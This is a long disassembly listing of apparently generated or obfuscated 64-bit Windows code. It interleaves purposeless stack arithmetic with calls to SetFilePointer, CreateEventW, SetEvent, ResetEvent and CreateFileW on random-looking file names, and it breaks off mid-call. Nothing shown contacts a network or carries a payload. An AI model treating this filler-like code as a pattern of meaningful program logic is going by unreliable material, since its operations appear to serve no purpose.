mov eax, dword [rsp + 0x510]
mov ecx, dword [rsp + 0x10d0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xdfc], eax
mov rax, qword [rsp + 0x2938]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x248]
shl eax, cl
mov word [rsp + 0x5c0], ax
mov rax, qword [rsp + 0xf38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36c]
sar eax, cl
mov rcx, qword [0x1400fd518]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x73cf
mov rcx, qword [rsp + 0x3738]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x26d8], eax
mov rax, qword [rsp + 0x2850]
mov qword [rsp + 0x38d8], rax
mov rax, qword [rsp + 0xf68]
mov rcx, qword [0x1400fc458]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2248], rax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x4e8]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1958]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1137
mov rcx, qword [rsp + 0x36f8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe14], eax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x3f28], rax
mov rax, qword [0x1400fd5c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa68]
add rax, qword [rcx]
mov qword [rsp + 0x2858], rax
lea rax, [rsp + 0x233]
mov qword [rsp + 0x2b28], rax
mov rax, qword [rsp + 0x3238]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb90]
shr eax, cl
mov dword [rsp + 0x13c0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4d48], rax
mov rax, qword [0x1400fd2b8]
mov rcx, qword [rsp + 0x1b28]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x32b0], rax
lea rax, [rsp + 0x8b8]
mov qword [0x1400fd700], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe54d
mov rcx, qword [rsp + 0x2438]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbd4], eax
mov rax, qword [rsp + 0x1f28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x162c]
sub eax, ecx
mov rcx, qword [rsp + 0x2bd0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x4200]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x268c], eax
movzx eax, byte [rsp + 0x3f9]
movzx ecx, byte [rsp + 0x138]
add eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x2440]
mov eax, dword [rax]
mov dword [rsp + 0x1a84], eax
mov rax, qword [rsp + 0x2fa8]
mov rcx, qword [rsp + 0x1858]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x22e8], rax
lea rax, [rsp + 0x3fd]
mov qword [rsp + 0x54c0], rax
mov rax, qword [rsp + 0x3e08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9dc]
shl eax, cl
mov rcx, qword [rsp + 0x2370]
mov dword [rcx], eax
mov rax, qword [rsp + 0x11c8]
mov rcx, qword [0x1400fd3e8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x1e60]
mov qword [rcx], rax
movzx eax, word [rsp + 0x588]
mov word [rsp + 0x15ec], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.SvIfD72yXx8yMr
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x52c0], rax
movzx eax, word [rsp + 0x160]
movzx ecx, word [rsp + 0x2230]
sar eax, cl
mov word [0x1400fc44c], ax
mov rax, qword [rsp + 0x790]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x25e0]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x1b0]
mov qword [rcx], rax
lea rax, [rsp + 0x288]
mov qword [rsp + 0x2558], rax
movsx eax, word [rsp + 0xab8]
movsx ecx, word [rsp + 0xecc]
sub eax, ecx
mov word [rsp + 0xb00], ax
mov rax, qword [rsp + 0x1f50]
mov rcx, qword [rsp + 0x37d0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2908]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x2970]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0xba0]
mov qword [rsp + 0x3e98], rax
movsx eax, byte [rsp + 0x158]
mov rcx, qword [rsp + 0xdc8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x3dc8]
mov rcx, qword [rsp + 0x2f78]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x39c0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1979
mov rcx, qword [rsp + 0x1f40]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcb8], eax
mov rcx, qword [rsp + 0x1bb8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x26bc], eax
movzx eax, word [rsp + 0x600]
mov rcx, qword [rsp + 0x1fa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x458], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x759c
mov rcx, qword [rsp + 0x2ea8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9a0], eax
lea rax, [rsp + 0x31a8]
mov qword [0x1400fd708], rax
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
mov dword [rsp + 0x2718], eax
mov rax, qword [rsp + 0x820]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x109]
sar eax, cl
mov rcx, qword [rsp + 0x1b08]
mov byte [rcx], al
movsx eax, word [rsp + 0x304]
mov rcx, qword [rsp + 0x1438]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x860], ax
mov rcx, qword [rsp + 0x1e70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27e4], eax
mov rax, qword [0x1400fd5d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb04]
and eax, ecx
mov word [rsp + 0x1568], ax
mov rax, qword [rsp + 0x2cc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x694]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1508]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.xjj5W3bD6vtNPO
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x54c8], rax
lea rax, [rsp + 0x1be8]
mov qword [rsp + 0x30a0], rax
movsx eax, byte [0x1400fd133]
movsx ecx, byte [rsp + 0xf7]
shl eax, cl
mov rcx, qword [rsp + 0x25c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x1958]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb0c]
or eax, ecx
mov rcx, qword [rsp + 0x190]
mov word [rcx], ax
movzx eax, word [rsp + 0x4e4]
movzx ecx, word [rsp + 0x6d8]
sar eax, cl
mov word [0x1400fc3d4], ax
mov rax, qword [rsp + 0x1bd0]
mov rax, qword [rax]
mov qword [rsp + 0x3960], rax
mov rax, qword [rsp + 0x22b8]
mov rax, qword [rax]
add rax, qword [rsp + 0x18a0]
mov rcx, qword [rsp + 0xb50]
mov qword [rcx], rax
mov rax, qword [0x1400fc458]
mov qword [rsp + 0x54d0], rax
mov rax, qword [rsp + 0x740]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x70c]
sub eax, ecx
mov rcx, qword [rsp + 0xc80]
mov word [rcx], ax
mov rax, qword [rsp + 0x23b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2ca]
add eax, ecx
mov byte [rsp + 0xea], al
mov rcx, qword [rsp + 0x23d8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1110], eax
mov rax, qword [rsp + 0xd38]
mov rcx, qword [0x1400fc390]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3710], rax
mov rax, qword [rsp + 0x3090]
mov ecx, dword [rsp + 0x1688]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x2c80]
mov dword [rcx], eax
lea rax, [rsp + 0x90d]
mov qword [rsp + 0x4158], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x176a
mov rcx, qword [rsp + 0x3720]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a78], eax
mov eax, dword [rsp + 0xad8]
movzx ecx, al
mov eax, dword [0x1400fc384]
sar eax, cl
mov rcx, qword [rsp + 0x1e48]
mov dword [rcx], eax
movsx eax, word [rsp + 0x6c0]
mov rcx, qword [rsp + 0x30d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc514], ax
mov rcx, qword [rsp + 0x24c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2160], eax
mov rax, qword [rsp + 0x23c8]
movzx eax, word [rax]
movzx ecx, word [0x1400fd200]
sub eax, ecx
mov word [rsp + 0x128], ax
mov rax, qword [rsp + 0x1768]
movzx eax, word [rax]
mov word [rsp + 0x15bc], ax
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x1c50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb80], rax
lea rax, [rsp + 0x63c]
mov qword [rsp + 0x2630], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe5e8
mov rcx, qword [rsp + 0x2860]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2158], eax
movsx eax, byte [0x1400fd133]
movsx ecx, byte [rsp + 0xcc]
or eax, ecx
mov byte [rsp + 0x50], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4b28], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa394
mov rcx, qword [rsp + 0x3838]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1ab4], eax
lea rax, [rsp + 0x2420]
mov qword [rsp + 0x32d0], rax
mov rcx, qword [rsp + 0x2f30]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1110], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.UEENeB42y7v5GhYFMOzZS0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3890], rax
movsx eax, word [rsp + 0x64]
mov rcx, qword [rsp + 0x1a00]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x6ac], ax
mov rax, qword [rsp + 0xb30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1b58]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x424], ax
mov rax, qword [rsp + 0x1d30]
mov rcx, qword [rsp + 0x2880]
add rcx, rax
mov rax, rcx
mov qword [0x1400fc4c8], rax
lea rax, [rsp + 0x44c]
mov qword [rsp + 0x2978], rax
mov rax, qword [rsp + 0x2a90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x18e8]
sar rax, cl
mov qword [rsp + 0x1d60], rax
lea rax, [rsp + 0x3038]
mov qword [rsp + 0x2a98], rax
mov rcx, qword [rsp + 0x4aa0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13ec], eax
mov rax, qword [rsp + 0x19b8]
mov rcx, qword [rsp + 0x2868]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x11d8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1903
mov rcx, qword [rsp + 0x2fc8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe18], eax
mov rax, qword [rsp + 0x2878]
mov rcx, qword [rsp + 0x3950]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcc0], eax
lea rax, [rsp + 0x20e8]
mov qword [rsp + 0x2b48], rax
mov rax, qword [rsp + 0x2270]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1c78]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties], al
lea rax, [rsp + 0x407]
mov qword [rsp + 0x3ef0], rax
mov rax, qword [rsp + 0xfe8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1458]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd140], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3af8], rax
movsx eax, word [0x1400fd3b8]
movsx ecx, word [rsp + 0x364]
add eax, ecx
mov word [rsp + 0xb0c], ax
movzx eax, word [rsp + 0x244]
mov rcx, qword [rsp + 0x1f28]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x15bc], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x985f
mov rcx, qword [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x196c], eax
lea rax, [rsp + 0x34c]
mov qword [rsp + 0x4128], rax
mov rax, qword [rsp + 0xd60]
mov rcx, qword [rsp + 0x1860]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x34c8], eax
mov rcx, qword [rsp + 0x2f30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.nllWpYL76yT66hNCzt7iyzmY
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4bd8], rax
mov rax, qword [rsp + 0x10c0]
mov rcx, qword [rsp + 0x3a78]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2f38], rax
mov rax, qword [rsp + 0x2ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10c]
shl eax, cl
mov byte [rsp + 0x60a], al
mov rax, qword [rsp + 0x1d70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf90]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x248], ax
mov rax, qword [rsp + 0x2e10]
movzx eax, word [rax]
mov word [rsp + 0x3614], ax
lea rax, [rsp + 0x2650]
mov qword [0x1400fd710], rax
mov rax, qword [0x1400fd520]
mov rcx, qword [rsp + 0x1cc8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1a28], rax
mov rax, qword [rsp + 0x2510]
mov rax, qword [rax]
mov qword [rsp + 0x3e38], rax
mov rax, qword [rsp + 0x2b18]
mov rcx, qword [rsp + 0x1ca8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xfa8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x1270]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20f8], eax
lea rax, [rsp + 0x848]
mov qword [rsp + 0x3110], rax
mov rax, qword [rsp + 0x1d40]
mov rcx, qword [rsp + 0x1e48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa4], eax
mov rax, qword [rsp + 0xd20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3f6]
sar eax, cl
mov byte [rsp + 0x401], al
lea rax, [rsp + 0xcc8]
mov qword [rsp + 0x38c0], rax
movsx eax, byte [rsp + 0x136]
movsx ecx, byte [rsp + 0x11c]
add eax, ecx
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x12a0]
mov rax, qword [rax]
mov qword [0x1400fd718], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2340
mov rcx, qword [rsp + 0x3278]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2100], eax
lea rax, [rsp + 0x55c]
mov qword [rsp + 0x2e40], rax
mov rax, qword [rsp + 0x1490]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x18e0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3048]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4b00], rax
mov rax, qword [rsp + 0x1b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x268]
and eax, ecx
mov rcx, qword [rsp + 0x17c0]
mov word [rcx], ax
lea rax, [0x1400fc4e0]
mov qword [rsp + 0x2ad0], rax
mov rax, qword [rsp + 0x1078]
mov rcx, qword [rsp + 0x500]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x36c8]
mov qword [rcx], rax
lea rax, [rsp + 0x1990]
mov qword [rsp + 0x1b00], rax
movsx eax, byte [0x1400fc381]
movsx ecx, byte [rsp + 0x234]
sar eax, cl
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x1438]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1eb0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x6c0], ax
movzx eax, word [rsp + 0x6e8]
movzx ecx, word [0x1400fc434]
shl eax, cl
mov word [0x1400fd280], ax
mov rax, qword [rsp + 0x23a8]
mov rcx, qword [rsp + 0x1718]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2fb8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40b
mov rcx, qword [rsp + 0x3088]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x11a8], eax
mov rax, qword [rsp + 0x28c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe80], ax
mov rcx, qword [rsp + 0x23c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x22e]
mov qword [rsp + 0x3f78], rax
mov rax, qword [rsp + 0x2a40]
mov ecx, dword [rsp + 0x3c8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x29d0]
mov rax, qword [rax]
mov qword [rsp + 0x40a0], rax
mov rax, qword [rsp + 0x750]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x18f8]
add eax, dword [rcx]
mov dword [rsp + 0x198c], eax
mov rax, qword [rsp + 0x1898]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x22d8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe9], al
lea rax, [rsp + 0x6c4]
mov qword [rsp + 0x3bb0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x3588
mov rcx, qword [rsp + 0x3dd0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4330], eax
mov rax, qword [0x1400fd3a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1318]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1400fd308]
mov word [rcx], ax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2608]
add rax, qword [rcx]
mov qword [rsp + 0x16a8], rax
mov rax, qword [rsp + 0xb50]
mov rcx, qword [0x1400fd128]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4aa8], rax
mov rax, qword [rsp + 0x1fc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x304]
and eax, ecx
mov rcx, qword [rsp + 0x1240]
mov word [rcx], ax
mov rax, qword [rsp + 0x1538]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x88]
and eax, ecx
mov rcx, qword [rsp + 0xb30]
mov word [rcx], ax
mov rcx, qword [rsp + 0x2f30]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe24], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1fb0
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10c8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x51b8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x63c1
mov rcx, qword [rsp + 0x2ba0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2100], eax
lea rax, [0x1400fd148]
mov qword [rsp + 0x2d38], rax
mov rcx, qword [rsp + 0x2ff8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3464], eax
movsx eax, byte [rsp + 0xe53]
movsx ecx, byte [rsp + 0x11c]
sub eax, ecx
mov rcx, qword [rsp + 0x1cd8]
mov byte [rcx], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xae54
mov rcx, qword [rsp + 0x4110]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10d8], eax
lea rax, [rsp + 0x13ac]
mov qword [rsp + 0x3830], rax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1298]
mov rcx, qword [rsp + 0xf58]
mov qword [rsp + 0x4ab0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ab0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2598], rax
mov rax, qword [rsp + 0x1010]
movzx eax, word [rax]
mov word [0x1400fd720], ax
mov rax, qword [rsp + 0x11e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xdd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14c0]
mov eax, dword [rax]
mov dword [rsp + 0x432c], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb396
mov rcx, qword [rsp + 0x32b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13f0], eax
mov rax, qword [rsp + 0x1b80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd98]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3fe], al
lea rax, [rsp + 0x2c30]
mov qword [rsp + 0x1d38], rax
mov rax, qword [rsp + 0x2ae8]
movsx eax, byte [rax]
mov rcx, qword [0x1400fd4c8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x2a88]
mov eax, dword [rax]
add eax, dword [rsp + 0x348]
mov rcx, qword [rsp + 0x19e8]
mov dword [rcx], eax
lea rax, [rsp + 0x2798]
mov qword [rsp + 0x2d20], rax
movsx eax, word [rsp + 0x2bc]
movsx ecx, word [rsp + 0x6e4]
add eax, ecx
mov rcx, qword [rsp + 0x528]
mov word [rcx], ax
mov rax, qword [rsp + 0x29f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x58c]
sub eax, ecx
mov word [0x1400fc3d0], ax
mov rax, qword [rsp + 0x30b0]
mov rcx, qword [rsp + 0xfe0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ab8], rax
movzx eax, word [rsp + 0x8b0]
mov rcx, qword [rsp + 0x3e10]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x1b58]
mov word [rcx], ax
mov rax, qword [rsp + 0x1c10]
movzx eax, word [rax]
mov word [rsp + 0x205c], ax
mov rax, qword [rsp + 0x618]
mov rcx, qword [rsp + 0x14a0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1fc0]
mov rax, qword [rax]
add rax, qword [rsp + 0x29e0]
mov qword [rsp + 0x2578], rax
lea rax, [rsp + 0x10e4]
mov qword [rsp + 0x4150], rax
mov rax, qword [rsp + 0x1cd8]
movsx eax, byte [rax]
mov rcx, qword [0x1400fd330]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x1c38]
mov byte [rcx], al
lea rax, [rsp + 0x1660]
mov qword [rsp + 0x3018], rax
mov rax, qword [rsp + 0x2fa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2a60]
mov qword [rsp + 0x4ac0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1400fc518], rax
movzx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0x1b80]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xf8], al
mov rax, qword [rsp + 0x948]
mov rcx, qword [rsp + 0x3ee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcf8], eax
movzx eax, word [rsp + 0x85c]
mov word [rsp + 0x2010], ax
mov rax, qword [rsp + 0x1770]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6fc]
sar eax, cl
mov word [rsp + 0x458], ax
mov rcx, qword [rsp + 0x2f58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27e8], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd92e
mov rcx, qword [rsp + 0x2f80]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcc4], eax
mov rax, qword [rsp + 0x2540]
mov rcx, qword [rsp + 0x2a88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x34c4], eax
movsx eax, byte [rsp + 0x92]
mov rcx, qword [rsp + 0x36a0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1b8], al
mov rax, qword [rsp + 0x29d0]
mov rcx, qword [rsp + 0x1040]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc68], rax
movzx eax, word [rsp + 0x360]
mov word [rsp + 0xee0], ax
lea rax, [rsp + 0x4bc]
mov qword [0x1400fd728], rax
mov rax, qword [rsp + 0x12b8]
mov rax, qword [rax]
mov rcx, qword [0x1400fd250]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb50]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3ec0], rax
lea rax, [rsp + 0xc90]
mov qword [rsp + 0x22f0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa819
mov rcx, qword [rsp + 0x32f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x34c0], eax
mov rax, qword [rsp + 0x1268]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb70]
sar rax, cl
mov qword [rsp + 0x2308], rax
mov rax, qword [rsp + 0x3bb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a10]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x222c], ax
mov rax, qword [rsp + 0x22a0]
mov rcx, qword [rsp + 0x3710]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1888]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x119]
movsx ecx, byte [rsp + 0x231]
and eax, ecx
mov rcx, qword [rsp + 0xf40]
mov byte [rcx], al
lea rax, [rsp + 0x9f4]
mov qword [rsp + 0x4fc8], rax
movzx eax, byte [rsp + 0x131]
movzx ecx, byte [rsp + 0x90d]
or eax, ecx
mov byte [rsp + 0xeb], al
mov eax, dword [rsp + 0x8d0]
mov dword [rsp + 0x2104], eax
mov rax, qword [0x1400fd240]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x874]
xor eax, ecx
mov rcx, qword [0x1400fd2f0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3190]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20f4], eax
mov rax, qword [rsp + 0x1768]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc40]
shl eax, cl
mov rcx, qword [rsp + 0xd88]
mov word [rcx], ax
movzx eax, word [0x1400fc410]
mov rcx, qword [rsp + 0x1470]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xdd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x1238]
mov rax, qword [rax]
mov qword [rsp + 0x4108], rax
mov rax, qword [rsp + 0x2540]
mov eax, dword [rax]
add eax, dword [rsp + 0x688]
mov rcx, qword [rsp + 0x18f8]
mov dword [rcx], eax
mov rax, qword [0x1400fd530]
mov rcx, qword [rsp + 0x2d20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3e30], rax
mov rax, qword [rsp + 0x2b28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9c]
add eax, ecx
mov byte [rsp + 0x912], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
